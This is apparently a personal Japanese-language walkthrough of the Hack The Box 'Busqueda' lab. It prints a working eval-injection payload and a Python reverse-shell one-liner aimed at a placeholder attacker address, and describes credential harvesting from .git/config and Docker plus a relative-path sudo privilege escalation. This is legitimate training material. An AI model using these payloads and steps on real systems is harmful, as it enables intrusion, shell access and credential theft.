Hack the box - Busqueda
Hack the boxのBasquedaを完了したのでメモ。
| 難易度 | Writeupを |
|---|---|
| Easy | 見た |
1. nmapでrecon
2. Webサーバが動いているのでアクセス
- 様々なWebサービスでキーワード検索をした場合のURLを表示してくれる
- ”Auto Redirect”にチェックをいれるとそのURLにそのまま飛べる
searchor 2.4.0を使っているとわかる- eval関数によるRCEの脆弱性がヒットする
- Githubのコミット
- 試しに
test' + __import__('os').system('pwd'))#を入れると通る
3. Exploitを実行
- ローカルにWebサーバを起動した状態で以下を検索ボックスに挿入
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<IPADDR>',<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#- リバースシェルを獲得して、
user.txt奪取
4. svcユーザで探検
/var/www/app/.git/configファイルに、giteaのログイン情報が記載されている- ところでgiteaって何 → gitlabのように、gitサーバをオンプレで構築できるソフトウェアのこと
- どこに構築されているの →
/etc/hostsを見ると同じマシン上に存在するみたい- 自分のKali Linuxの
/etc/hostsにgitea.searcher.htbを追記して、ブラウザでアクセス、codyでログインできる administratorというユーザがいる
- 自分のKali Linuxの
- 試しに
svcユーザでsudo -lを実行して、codyのパスワードを入れてみると通る → リバースシェルからSSHに切り替えsudo -lの結果から、root権限で動作できるコマンドがあることがわかる- でも
/opt/scripts/配下はすべて読み取り専用
- でも
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *- 上記のコマンドで実行できる
dockerコマンドを実行して、dockerインスタンスのgiteaの認証情報を取得する
5. administratorでgiteaを探検
リポジトリ内に/opt/scripts/のファイルと同じリポジトリがあるので、ソースを読む
full-checkupのサブコマンドを叩いたときは./full-checkup.shを実行するようになっている…あれ、カレントディレクトリにあるfull-checkup.shを実行するようになっている?(なので先ほど試したfull-checkupサブコマンドはうまく行かなかった
好きなディレクトリに/root/root.txtを読むようなfull-checkup.shを作成して、full-checkupのサブコマンドを実行すれば、root権限奪取